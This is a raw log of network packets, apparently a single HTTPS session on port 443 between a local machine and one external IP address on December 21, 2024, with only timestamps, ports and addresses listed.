Dec 21, 2024 20:13:56.147439957 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.147454023 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.170701981 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.170743942 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.170770884 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.170783997 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.170811892 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.170825958 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.176563025 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.176609993 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.176635981 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.176641941 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.176671028 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.176688910 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.183000088 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.183041096 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.183072090 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.183078051 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.183106899 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.183120012 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.189599991 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.189642906 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.189673901 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.189682007 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.189711094 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.189722061 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.321034908 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.321096897 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.321115017 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.321124077 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.321160078 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.321176052 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.326781034 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.326848030 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.326858997 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.326878071 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.326908112 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.326925039 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.333270073 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.333317995 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.333348989 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.333354950 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.333380938 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.333398104 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.339701891 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.339747906 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.339771032 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.339776993 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.339807987 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.339835882 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.363491058 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.363559961 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.363576889 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.363584995 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.363631010 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.368940115 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.368988991 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.369014978 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.369019985 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.369066000 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.375411034 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.375464916 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.375502110 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.375508070 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.375535011 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.375544071 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.381851912 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.381906033 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.381928921 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.381934881 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.381970882 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.381983042 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.513324022 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.513386965 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.513417959 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.513437986 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.513463020 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.513480902 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.518953085 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.519023895 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.519051075 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.519057035 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.519093990 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.525867939 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.525917053 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.525933027 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.525940895 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.525966883 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.526001930 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.531954050 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.532004118 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.532018900 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.532026052 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.532062054 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.555537939 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.555598974 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.555619955 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.555628061 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.555654049 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.555679083 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.561108112 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.561170101 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.561176062 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.561199903 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.561223030 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.561244011 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.567621946 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.567667961 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.567689896 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.567696095 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.567724943 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.567744017 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.574095964 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.574137926 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.574165106 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.574174881 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.574198961 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.574213028 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.969146967 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.969212055 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.969242096 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.969252110 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.969295025 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.974693060 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.974752903 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.974772930 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.974780083 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.974809885 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.974824905 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.981209993 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.981252909 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.981281042 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.981286049 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.981311083 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.981328964 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.987072945 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.987116098 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.987144947 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.987150908 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.987178087 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.987195015 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.993294954 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.993339062 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.993372917 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.993379116 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.993405104 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.993422031 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.999927044 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.999968052 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.999998093 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.000053883 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.000082016 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.000102043 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.006335020 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.006377935 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.006408930 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.006413937 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.006443024 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.006453037 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.012984991 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.013024092 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.013056040 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.013062000 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.013087988 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.013099909 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.019154072 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.019193888 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.019222021 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.019227982 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.019254923 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.019273996 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.025002956 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.025047064 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.025078058 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.025085926 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.025101900 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.025146008 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.031645060 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.031687021 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.031714916 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.031722069 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.031748056 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.031761885 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.038119078 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.038177967 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.038192987 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.038199902 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.038232088 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.044493914 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.044533014 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.044558048 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.044564009 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.044584036 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.044599056 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.050914049 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.050955057 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.050987005 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.050993919 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.051021099 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.051033020 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.056842089 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.056898117 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.056911945 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.056919098 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.056946993 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.056967020 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.063411951 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.063451052 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.063483000 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.063489914 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.063510895 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.063524961 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.090261936 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.090322018 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.090382099 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.090388060 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.090414047 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.090430975 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.096853018 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.096899986 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.096915960 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.096924067 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.096949100 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.096966982 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.102715015 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.102771044 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.102859974 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.102868080 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.105349064 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.109114885 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.109173059 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.109206915 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.109215021 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.109249115 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.109267950 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.132071018 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.132118940 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.132148027 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.132157087 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.132265091 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.138734102 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.138777018 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.138808966 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.138816118 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.138849020 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.138868093 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.144552946 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.144623995 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.144664049 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.144670010 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.144694090 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.144716024 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.151201963 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.151246071 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.151303053 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.151309967 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.151345968 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.151366949 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.282597065 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.282660961 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.282800913 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.282800913 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.282812119 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.283107042 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.286317110 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.286387920 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.286400080 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.286421061 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.286451101 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.286490917 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.290149927 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.290193081 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.290218115 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.290224075 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.290246010 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.290270090 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.294763088 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.294805050 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.294830084 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.294841051 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.294861078 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.294876099 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.325161934 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.325234890 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.325254917 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.325268030 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.325290918 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.325314999 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.329030037 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.329098940 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.329118013 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.329125881 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.329153061 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.329169035 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.332609892 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.332653046 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.332712889 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.332720041 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.332743883 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.332768917 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.339284897 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.339366913 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.339385986 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.339458942 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.475131035 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.475195885 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.475333929 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.475333929 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.475346088 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.475394011 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.479259968 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.479310036 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.479347944 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.479356050 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.479393005 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.479413986 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.482573032 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.482628107 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.482671022 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.482676983 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.482702971 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.482726097 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.486555099 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.486598015 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.486629963 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.486634970 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.486661911 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.486685038 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.517211914 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.517276049 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.517302990 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.517308950 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.517539978 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.517539978 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.520818949 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.520885944 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.520905972 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.520912886 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.520940065 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.520958900 CET	49737	443	192.168.2.4	172.67.183.27
